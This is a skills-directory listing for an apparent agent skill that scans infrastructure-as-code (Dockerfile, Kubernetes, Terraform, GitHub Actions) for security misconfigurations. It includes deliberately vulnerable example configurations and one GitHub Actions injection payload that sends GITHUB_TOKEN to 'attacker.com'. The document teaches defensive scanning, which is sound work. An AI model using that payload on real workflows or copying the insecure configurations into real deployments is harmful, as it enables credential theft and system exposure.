Skip to content
Back to skills

Sc Iac

BSecurity

Infrastructure-as-Code security scanning — Dockerfile, Kubernetes, Terraform, and GitHub Actions misconfigurations

  • 4 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added September 12, 2026
devopsrustgonodeexpressdockerkubernetesawsterraformgitdatabase

Security analysis

B88/100
  • criticalSends environment variables or credentials to an external URL

Pro scans all 2 files and shows the line behind each finding

Scanned September 12, 2026

npx -y skills add aibot88/sec_skill_store --skill sc-iac --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Sc Iac?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Sc Iac
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/aibot88-sc-iac/badge)](https://www.skillsdirectory.com/skills/aibot88-sc-iac)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: sc-iac
description: Infrastructure-as-Code security scanning — Dockerfile, Kubernetes, Terraform, and GitHub Actions misconfigurations
license: MIT
metadata:
  category: security
  version: "1.0.0"
---

# SC: Infrastructure-as-Code Security

## Purpose

Scans Infrastructure-as-Code files for security misconfigurations including Dockerfile anti-patterns, Kubernetes privilege escalation, Terraform resource exposure, and GitHub Actions injection vulnerabilities. Covers the full deployment pipeline from build to runtime.

## Activation

Called by sc-orchestrator during Phase 2 when IaC files are detected (Dockerfile, *.tf, k8s manifests, workflow files).

## Phase 1: Discovery

### File Patterns
```
**/Dockerfile*, **/docker-compose*, **/*.tf, **/*.tfvars,
**/k8s/*, **/kubernetes/*, **/helm/*, **/*.yaml, **/*.yml,
**/.github/workflows/*, **/.gitlab-ci.yml, **/Jenkinsfile
```

### Dockerfile Checks
```dockerfile
# VULNERABLE: Running as root
FROM node:18
COPY . /app
CMD ["node", "app.js"]  # Runs as root!

# SAFE: Non-root user
FROM node:18
RUN addgroup --system app && adduser --system --ingroup app app
COPY --chown=app:app . /app
USER app
CMD ["node", "app.js"]
```

- Running as root (missing USER directive)
- Secrets in build args (`ARG PASSWORD=secret`)
- Using `latest` tag for base images
- ADD instead of COPY (ADD can auto-extract and fetch URLs)
- Exposed unnecessary ports

### Kubernetes Checks
```yaml
# VULNERABLE: Privileged container
spec:
  containers:
  - name: app
    securityContext:
      privileged: true       # Full host access!
      runAsRoot: true
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /                # Mounting host filesystem!
```

- Privileged containers, hostPID, hostNetwork
- hostPath volume mounts
- Missing network policies
- Default service account with broad permissions
- Missing resource limits
- Missing securityContext (readOnlyRootFilesystem, runAsNonRoot)

### Terraform Checks
```hcl
# VULNERABLE: Public S3 bucket
resource "aws_s3_bucket" "data" {
  bucket = "my-data-bucket"
  acl    = "public-read"  # Publicly accessible!
}

# VULNERABLE: Overly permissive IAM
resource "aws_iam_policy" "admin" {
  policy = jsonencode({
    Statement = [{
      Effect   = "Allow"
      Action   = "*"        # Full admin access!
      Resource = "*"
    }]
  })
}
```

- Public S3 buckets, public RDS instances
- Overly permissive IAM policies (Action: *)
- Hardcoded credentials in .tf files
- Missing encryption (at rest and in transit)
- Security groups with 0.0.0.0/0 ingress

### GitHub Actions Checks
```yaml
# VULNERABLE: Script injection via PR title
- run: echo "PR: ${{ github.event.pull_request.title }}"
  # Attacker PR title: $(curl attacker.com/steal?token=$GITHUB_TOKEN)

# SAFE: Use environment variable
- run: echo "PR: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
```

- Expression injection in `run:` blocks
- `pull_request_target` with checkout of PR code
- Untrusted third-party actions without pinned SHA
- GITHUB_TOKEN with excessive permissions
- Secrets in workflow logs

## Severity Classification

- **Critical:** Privileged containers, hardcoded secrets in IaC, public databases, script injection in CI
- **High:** Running as root, overly permissive IAM, public storage, hostPath mounts
- **Medium:** Missing network policies, unpinned actions, missing encryption
- **Low:** Missing resource limits, using latest tags, minor configuration improvements

## Output Format

### Finding: IAC-{NNN}
- **Title:** {IaC misconfiguration type}
- **Severity:** Critical | High | Medium | Low
- **Confidence:** 0-100
- **File:** file/path:line
- **Vulnerability Type:** CWE-250 (Excessive Privileges) | CWE-732 (Incorrect Permission) | CWE-798 (Hardcoded Credentials)
- **Description:** {What was found}
- **Impact:** Container escape, data breach, lateral movement, supply chain attack.
- **Remediation:** {Specific fix with corrected configuration}
- **References:** https://cwe.mitre.org/data/definitions/250.html

## Common False Positives

1. **Development docker-compose** — running as root in local dev environment
2. **CI-only Dockerfiles** — build containers with elevated privileges for CI tasks
3. **Terraform plan output** — resource definitions that are overridden by variables

Files in this skill

  • SKILL.md4.3 KB
  • source.json598 B

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.